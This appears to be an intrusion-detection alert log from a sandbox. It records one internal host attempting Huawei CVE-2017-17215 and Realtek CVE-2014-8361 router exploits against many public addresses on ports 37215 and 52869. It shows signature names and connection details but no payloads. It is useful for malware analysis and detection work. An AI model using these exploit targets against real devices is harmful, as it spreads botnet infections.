ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.232.245.24

Timestamp:	07/20/24-23:01:04.053605
SID:	2829579
Source Port:	51996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.16.120.147

Timestamp:	07/20/24-23:01:11.631549
SID:	2835222
Source Port:	49196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.200.107.177

Timestamp:	07/20/24-23:01:02.064358
SID:	2829579
Source Port:	40914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 44.113.54.165

Timestamp:	07/20/24-23:01:41.176787
SID:	2025132
Source Port:	49826
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.194.46.134

Timestamp:	07/20/24-23:01:04.031510
SID:	2835222
Source Port:	48472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.212.175.247

Timestamp:	07/20/24-23:01:06.988055
SID:	2835222
Source Port:	41168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 118.209.219.113

Timestamp:	07/20/24-23:01:43.164529
SID:	2831300
Source Port:	56394
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.25.31.241

Timestamp:	07/20/24-23:01:34.044223
SID:	2835222
Source Port:	53408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 103.238.68.11

Timestamp:	07/20/24-23:02:00.538390
SID:	2025132
Source Port:	53262
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 213.131.100.211

Timestamp:	07/20/24-23:01:44.971718
SID:	2025132
Source Port:	44830
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.135.187.127

Timestamp:	07/20/24-23:01:56.287639
SID:	2027339
Source Port:	38582
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.255.77.181

Timestamp:	07/20/24-23:01:59.353096
SID:	2027339
Source Port:	37304
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 176.150.171.140

Timestamp:	07/20/24-23:01:02.048367
SID:	2829579
Source Port:	36266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 172.233.108.76

Timestamp:	07/20/24-23:01:43.686153
SID:	2831300
Source Port:	50918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 114.55.77.0

Timestamp:	07/20/24-23:01:47.931222
SID:	2831300
Source Port:	56994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 207.166.244.138

Timestamp:	07/20/24-23:01:57.489843
SID:	2025132
Source Port:	58924
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 42.89.136.69

Timestamp:	07/20/24-23:02:08.171169
SID:	2025132
Source Port:	44566
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 142.90.33.83

Timestamp:	07/20/24-23:01:01.212254
SID:	2027339
Source Port:	48726
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 154.97.74.140

Timestamp:	07/20/24-23:01:08.691384
SID:	2831300
Source Port:	51458
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 137.109.251.204

Timestamp:	07/20/24-23:01:46.054776
SID:	2027339
Source Port:	60916
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 197.114.179.188

Timestamp:	07/20/24-23:02:12.193882
SID:	2025132
Source Port:	41006
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.196.10.52

Timestamp:	07/20/24-23:01:42.985200
SID:	2027339
Source Port:	45994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 192.12.75.155

Timestamp:	07/20/24-23:01:44.277250
SID:	2831300
Source Port:	54614
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 166.102.172.20

Timestamp:	07/20/24-23:01:48.369883
SID:	2025132
Source Port:	40972
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 128.36.26.52

Timestamp:	07/20/24-23:01:59.938491
SID:	2025132
Source Port:	46086
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 82.240.7.131

Timestamp:	07/20/24-23:01:53.472037
SID:	2027339
Source Port:	58472
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 168.32.23.40

Timestamp:	07/20/24-23:02:10.141900
SID:	2027339
Source Port:	48662
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.105.252.117

Timestamp:	07/20/24-23:01:14.113390
SID:	2835222
Source Port:	34024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 31.72.24.180

Timestamp:	07/20/24-23:02:35.459810
SID:	2027339
Source Port:	48992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.48.241.197

Timestamp:	07/20/24-23:01:45.485100
SID:	2027339
Source Port:	54638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 222.217.185.57

Timestamp:	07/20/24-23:01:42.520139
SID:	2027339
Source Port:	36254
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 161.225.124.226

Timestamp:	07/20/24-23:02:01.280564
SID:	2025132
Source Port:	46594
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 177.220.208.210

Timestamp:	07/20/24-23:01:45.064977
SID:	2027339
Source Port:	45862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 84.227.123.147

Timestamp:	07/20/24-23:01:41.258403
SID:	2027339
Source Port:	35944
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.66.162.186

Timestamp:	07/20/24-23:01:41.620386
SID:	2027339
Source Port:	50282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 220.112.19.15

Timestamp:	07/20/24-23:01:45.926465
SID:	2027339
Source Port:	33854
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.42.165.29

Timestamp:	07/20/24-23:01:49.693650
SID:	2027339
Source Port:	60962
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.201.163.171

Timestamp:	07/20/24-23:01:34.050313
SID:	2835222
Source Port:	50522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 220.0.122.40

Timestamp:	07/20/24-23:01:25.300817
SID:	2025132
Source Port:	52658
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.141.21.74

Timestamp:	07/20/24-23:01:31.975107
SID:	2835222
Source Port:	46984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 122.90.179.148

Timestamp:	07/20/24-23:01:51.258596
SID:	2831300
Source Port:	46492
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 151.41.38.224

Timestamp:	07/20/24-23:01:50.085627
SID:	2831300
Source Port:	52618
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.161.162.111

Timestamp:	07/20/24-23:01:04.064240
SID:	2829579
Source Port:	59016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.128.42.189

Timestamp:	07/20/24-23:01:24.944299
SID:	2835222
Source Port:	38370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.102.132.79

Timestamp:	07/20/24-23:01:31.977603
SID:	2835222
Source Port:	44556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.113.97.179

Timestamp:	07/20/24-23:01:42.636583
SID:	2027339
Source Port:	59580
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.107.86.189

Timestamp:	07/20/24-23:00:57.220833
SID:	2835222
Source Port:	33462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 66.250.122.217

Timestamp:	07/20/24-23:02:00.338154
SID:	2027339
Source Port:	60880
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.25.141.126

Timestamp:	07/20/24-23:01:11.820979
SID:	2829579
Source Port:	35366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 115.35.192.158

Timestamp:	07/20/24-23:01:41.337240
SID:	2025132
Source Port:	37948
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 37.189.26.199

Timestamp:	07/20/24-23:01:48.576249
SID:	2025132
Source Port:	34132
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 167.60.51.106

Timestamp:	07/20/24-23:02:01.201976
SID:	2025132
Source Port:	53466
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.80.210.12

Timestamp:	07/20/24-23:01:08.555687
SID:	2027339
Source Port:	47658
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.207.228.137

Timestamp:	07/20/24-23:01:08.686800
SID:	2027339
Source Port:	46680
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 162.162.162.31

Timestamp:	07/20/24-23:01:08.677485
SID:	2831300
Source Port:	32882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.90.164.103

Timestamp:	07/20/24-23:01:14.103467
SID:	2835222
Source Port:	55324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.169.34.148

Timestamp:	07/20/24-23:01:20.131339
SID:	2829579
Source Port:	46360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 144.93.159.93

Timestamp:	07/20/24-23:01:24.877747
SID:	2829579
Source Port:	37222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 177.70.134.46

Timestamp:	07/20/24-23:01:27.749737
SID:	2829579
Source Port:	36574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 137.75.123.123

Timestamp:	07/20/24-23:01:42.287237
SID:	2831300
Source Port:	33288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.91.98.221

Timestamp:	07/20/24-23:01:57.049485
SID:	2027339
Source Port:	43448
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.84.150.41

Timestamp:	07/20/24-23:01:24.910426
SID:	2835222
Source Port:	54072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 222.227.230.240

Timestamp:	07/20/24-23:01:43.170156
SID:	2025132
Source Port:	40400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 155.22.90.90

Timestamp:	07/20/24-23:01:08.655109
SID:	2831300
Source Port:	44428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 60.99.150.220

Timestamp:	07/20/24-23:01:03.439543
SID:	2025132
Source Port:	44954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 43.131.249.62

Timestamp:	07/20/24-23:01:00.651026
SID:	2835222
Source Port:	51658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.103.119.53

Timestamp:	07/20/24-23:01:11.817771
SID:	2835222
Source Port:	55094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 43.124.104.253

Timestamp:	07/20/24-23:01:13.618084
SID:	2025132
Source Port:	45878
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.174.115.244

Timestamp:	07/20/24-23:00:57.220899
SID:	2829579
Source Port:	48734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.237.121.217

Timestamp:	07/20/24-23:01:04.039129
SID:	2829579
Source Port:	45482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 123.249.201.235

Timestamp:	07/20/24-23:01:31.312895
SID:	2831300
Source Port:	51676
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.216.107.76

Timestamp:	07/20/24-23:01:47.572503
SID:	2027339
Source Port:	45032
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.24.2.217

Timestamp:	07/20/24-23:01:31.991548
SID:	2835222
Source Port:	44798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.122.121.121

Timestamp:	07/20/24-23:01:55.572517
SID:	2027339
Source Port:	41196
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 88.195.110.211

Timestamp:	07/20/24-23:00:59.178062
SID:	2835222
Source Port:	50036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.197.119.108

Timestamp:	07/20/24-23:01:32.059767
SID:	2835222
Source Port:	47416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 203.162.151.3

Timestamp:	07/20/24-23:01:43.571815
SID:	2831300
Source Port:	41624
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.91.178.70

Timestamp:	07/20/24-23:01:53.407777
SID:	2027339
Source Port:	51602
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.115.23.92

Timestamp:	07/20/24-23:01:00.639012
SID:	2829579
Source Port:	37310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 138.151.216.98

Timestamp:	07/20/24-23:01:27.666100
SID:	2829579
Source Port:	54798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 166.191.111.147

Timestamp:	07/20/24-23:01:50.370395
SID:	2025132
Source Port:	33046
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.189.156.39

Timestamp:	07/20/24-23:01:51.113660
SID:	2027339
Source Port:	37010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.44.152.150

Timestamp:	07/20/24-23:01:21.952782
SID:	2835222
Source Port:	55492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.198.183.23

Timestamp:	07/20/24-23:01:43.305781
SID:	2027339
Source Port:	52648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.198.199.207

Timestamp:	07/20/24-23:02:53.636754
SID:	2027339
Source Port:	34312
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 111.85.168.68

Timestamp:	07/20/24-23:01:42.390246
SID:	2025132
Source Port:	54794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 66.43.237.112

Timestamp:	07/20/24-23:01:48.102919
SID:	2831300
Source Port:	60570
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.186.32.47

Timestamp:	07/20/24-23:01:42.749469
SID:	2027339
Source Port:	46454
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.77.208.129

Timestamp:	07/20/24-23:00:59.196993
SID:	2829579
Source Port:	33424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 166.7.60.196

Timestamp:	07/20/24-23:01:03.186337
SID:	2025132
Source Port:	56660
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 220.31.50.128

Timestamp:	07/20/24-23:01:43.063994
SID:	2027339
Source Port:	45782
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.12.228.50

Timestamp:	07/20/24-23:01:48.834296
SID:	2027339
Source Port:	33796
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 67.41.35.87

Timestamp:	07/20/24-23:01:42.136560
SID:	2025132
Source Port:	60048
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 154.201.154.131

Timestamp:	07/20/24-23:01:41.412156
SID:	2025132
Source Port:	44554
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.21.143.158

Timestamp:	07/20/24-23:01:08.663244
SID:	2027339
Source Port:	58542
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 134.217.248.188

Timestamp:	07/20/24-23:01:58.146169
SID:	2831300
Source Port:	54036
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.214.50.214

Timestamp:	07/20/24-23:01:57.346494
SID:	2027339
Source Port:	41456
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 218.167.11.188

Timestamp:	07/20/24-23:01:08.589759
SID:	2831300
Source Port:	59784
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 14.187.245.173

Timestamp:	07/20/24-23:01:57.512168
SID:	2027339
Source Port:	38104
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

